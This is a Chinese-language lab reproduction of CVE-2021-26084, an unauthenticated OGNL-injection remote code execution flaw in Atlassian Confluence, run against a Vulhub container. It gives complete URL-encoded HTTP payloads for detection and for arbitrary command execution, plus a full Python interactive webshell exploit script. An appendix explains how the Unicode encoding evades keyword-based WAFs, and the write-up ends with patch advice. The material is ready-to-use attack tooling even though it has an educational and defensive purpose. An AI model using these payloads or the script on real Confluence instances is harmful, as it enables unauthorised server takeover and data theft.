CVE-2021-26084 是 Atlassian Confluence Server / Data Center 的未授权远程代码执行漏洞,CVSS 9.8。Confluence 基于 WebWork 框架,多个 .action 页面在处理请求时,将用户输入的 queryString 参数直接嵌入 WebWork 标签的属性中进行渲染。当页面回显该参数时,OGNL 引擎会对内容进行二次解析:攻击者通过单引号(\u0027)与加号拼接,把纯文本变成可执行表达式,注入的 OGNL 代码调用 Java 内置的 ScriptEngineManager 获取 JavaScript 引擎并执行任意命令。匿名用户(未登录)即可访问受影响的接口,无需任何身份验证。
复现基于 Vulhub 的 confluence/CVE-2021-26084 靶场(Confluence 7.4.10),覆盖环境搭建(含 License 与数据库配置)、漏洞检测(数学表达式验证)、命令执行、交互式 WebShell 四个阶段,附录逐层拆解两条 Payload 的编码绕过与执行逻辑。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2021-26084 | 9.8 | 6.13.23 之前的全部版本;6.14.0-7.4.10、7.5.0-7.11.5、7.12.0-7.12.4 | 远程代码执行(RCE) |
漏洞复现
复现环境准备
使用 Vulhub 快速搭建漏洞环境。Confluence 比较消耗资源,建议将虚拟机配置适当调高:
┌──(kali㉿kali)-[~]└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地└─$ cd vulhub/confluence/CVE-2021-26084
┌──(root㉿kali)-[~/vulhub/confluence/CVE-2021-26084]└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态1b486095f893 vulhub/confluence:7.4.10 "/usr/bin/tini -- /e…" 14 seconds ago Up 13 seconds 0.0.0.0:8090->8090/tcp, :::8090->8090/tcp 8091/tcp cve-2021-26084-web-1c2fa3aed9f50 postgres:12.8-alpine "docker-entrypoint.s…" 14 seconds ago Up 13 seconds 5432/tcp cve-2021-26084-db-1Confluence 需要完成初始配置才能复现漏洞。访问 http://192.168.31.148:8090 开始配置,选择 Confluence Questions:

需要 License,点击 Get an evaluation license,注册并申请一个评估 License 即可,申请时选择 not install yet。

Choose your deployment type 选择 Standalone,进入数据库配置页面:

之前拉起容器时还有一个 PostgreSQL 容器,配置数据库之前需要修改 postgres 的密码:
┌──(root㿿kali)-[~/vulhub/confluence/CVE-2021-26084]└─$ docker exec -it cve-2021-26084-db-1 bashbash-5.1# su - postgres # PostgreSQL 禁止以 root 身份操作,切换到专用用户c9955115ceed:~$ psqlpsql (12.8)Type "help" for help.
postgres=# ALTER USER postgres WITH PASSWORD 'psql@123';ALTER ROLE修改之后开始配置数据库连接。在 Docker Compose 中,容器间通信使用服务名(如 db),而不是物理机 IP:

配置好后选择 Example Site,设置管理员账号信息即可完成配置:

端口扫描与服务识别
┌──(kali㿿kali)-[~]└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果PORT STATE SERVICE VERSION8090/tcp open http Apache Tomcat (language: en)MAC Address: 00:0C:29:B3:23:74 (VMware)8090 端口开放,运行着 Apache Tomcat(Confluence 的默认端口)。
漏洞检测
该漏洞的核心在于 queryString 参数的 OGNL 注入,通过构造一个简单的数学计算来验证漏洞是否存在。这种检测方式与 Apache Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)复现中的 %{6*6} 验证思路相同。
使用 Burp Suite 向存在漏洞的路径 /pages/doenterpagevariables.action 发送 POST 请求:
POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.31.148:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 47
queryString=%5cu0027%2b%7b123*123%7d%2b%5cu0027响应中 queryString 的回显值变为 15129(123×123 的计算结果),证明 OGNL 表达式被执行:

本漏洞有多个接口可触发:
/pages/doenterpagevariables.action/pages/createpage-entervariables.action/pages/doenterpagevariables.action 路径对应的 queryString 参数被直接传递到 Velocity 模板中,利用链非常短,Payload 构造简单稳定。匿名用户(未登录)也可以访问这些接口,无需身份验证即可触发远程代码执行。
执行任意命令
确认漏洞存在之后,发送完整的命令执行 Payload:
POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.31.148:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 1064
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027靶机成功返回了 id 命令的执行结果:

Payload 的编码绕过与执行逻辑见下文附录。
获取交互式 WebShell
使用 Python 脚本获取交互式 WebShell,脚本由 hev0x 编写(banner 打印函数此处省略):
#!/usr/bin/python3
import requestsimport optparsefrom bs4 import BeautifulSoupfrom requests.packages import urllib3urllib3.disable_warnings()
parser = optparse.OptionParser()parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x", default="/pages/createpage-entervariables.action?SpaceKey=x")
options, args = parser.parse_args()session = requests.Session()
url_vuln = options.urlendpoint = options.path
if not options.url: print('[+] Specify an url target') print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x') print('[+] Example help usage: exploit.py -h') exit()
def cmdExec():
while True:
cmd = input('> ')
xpl_url = url_vuln + endpoint xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"} xpl_data = {"queryString": "confluence_shell\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"} rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data, verify=False)
soup = BeautifulSoup(rawHTML.text, 'html.parser') queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value'] print(queryStringValue)
cmdExec()执行脚本 python Confluence_OGNLInjection.py -u http://192.168.31.148:8090,进入交互式命令执行界面:

脚本的核心逻辑与上文的命令执行 Payload 相同,只是把命令参数替换为用户输入并循环执行。
漏洞核心原理
Confluence 使用了 WebWork 框架处理 Web 请求。在某些特定的 .action 页面中,后端代码将用户输入的 queryString 参数直接放入了 WebWork 标签的属性中进行渲染。当页面重新渲染回显这些参数时,OGNL 引擎会对内容进行二次解析:如果参数中包含符合 OGNL 语法的内容,就会被当作表达式执行。
正常情况下,queryString 被视为纯文本,${} 语法只在配置文件或特定标签中才会被解析。攻击者通过在参数值中注入单引号(\u0027)和加号(+),改变了后端字符串拼接的逻辑,使 OGNL 引擎将大括号内的内容识别为可执行表达式,这就是注入的入口。
附录:Payload 逐层拆解
Payload 1:数学表达式验证
为什么 ${6*6} 无法生效
在之前的漏洞复现中使用过 ${6*6} 这个 Payload,然而在这里行不通。Confluence 内部使用了类似于 Struts2 的 WebWork 框架,当后端接收到 queryString 参数并准备将其显示在 HTML 页面上时,默认将其视为纯文本(Plain Text)。${} 语法通常只在配置文件(如 xwork.xml)或特定的标签(如 <ww:property />)中才会被自动解析,而在正常的 HTTP 参数传递中,系统只会把 ${6*6} 当作一串普通字符。
使用 + 号拼接
假设后端代码是这样写的:String message = "The query result is: " + userInput;,如果输入 ${6*6},它只是字符串的一部分:"The query result is: ${6*6}"。
当输入 \u0027+{6*6}+\u0027 时,由于单引号 \u0027 的存在,拼接逻辑变成了:"The query result is: " + '' + {6*6} + ''。
中间的 + 号在 OGNL 引擎中不再是文本连接符,而是变成了表达式连接符。它迫使解析器停止处理字符串,转而计算大括号 {} 内部的表达式。
进一步转码
在 URL 中,反斜杠 \ 属于特殊字符。如果直接发送,某些 Web 服务器(如新版 Tomcat)会认为这是非法字符并拒绝请求(返回 400 错误),或者将其静默丢弃。%5c 是 \ 的标准 URL 编码,确保它能安全到达后端。
Java 内部字符串本身也需要 \ 来转义引号。为了保证这些 \ 在多层解析后依然存在,必须在最前端进行彻底的百分号编码。
因此最终的 Payload 变成了:%5cu0027%2b%7b6*6%7d%2b%5cu0027。
Payload 2:命令执行
结构分析
这段代码大量使用了Unicode 编码,连函数名 eval 都进行了 Unicode 转码(eval → %5cu0065val),这是为了逃避基于关键词扫描的 WAF。
由上文可知这段 Payload 的整体骨架是:\u0027 + { 表达式 } + \u0027,表达式核心调用使用了更底层的JS 引擎调用:
Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(...)这种方式利用 Java 内部的 JavaScript 引擎(Nashorn)来执行复杂的逻辑,具有极强的灵活性。
逻辑分析
将 eval() 括号里的内容进行还原,会发现这是一个完整的 Java 服务端脚本:
跨平台判断:
var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");首先判断靶机是 Windows 还是 Linux,以便决定后面调用 cmd.exe 还是 bash。
构造执行器:
var cmd = new java.lang.String("id"); // 这里的 "id" 是需要执行的命令var p = new java.lang.ProcessBuilder();if(isWin){ p.command("cmd.exe", "/c", cmd); }else{ p.command("bash", "-c", cmd); }p.redirectErrorStream(true); // 将标准错误流合并到输出流中,防止报错看不见var process = p.start();获取回显:
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());var bufferedReader = new java.io.BufferedReader(inputStreamReader);var line = ""; var output = "";while((line = bufferedReader.readLine()) != null){ output = output + line + java.lang.Character.toString(10); // 逐行读取并累加回显内容}总结
这段 Payload 兼容性强,同时适配 Windows 与 Linux 靶机;通过全 Unicode 转码绕过基于关键词的过滤;命令结果直接在网页响应中回显,不需要反弹 Shell 也能获取数据。
修复方案
- 升级 Confluence 至 7.4.11、7.11.6、7.12.5、7.13.0(按当前版本线)或 6.13.23(6.13.x 线);
- 修复方式:对
queryString等用户输入参数进行 OGNL 表达式过滤,阻止二次解析; - 该漏洞无需身份验证即可利用,且在披露后存在大规模在野利用,受影响实例应尽快升级。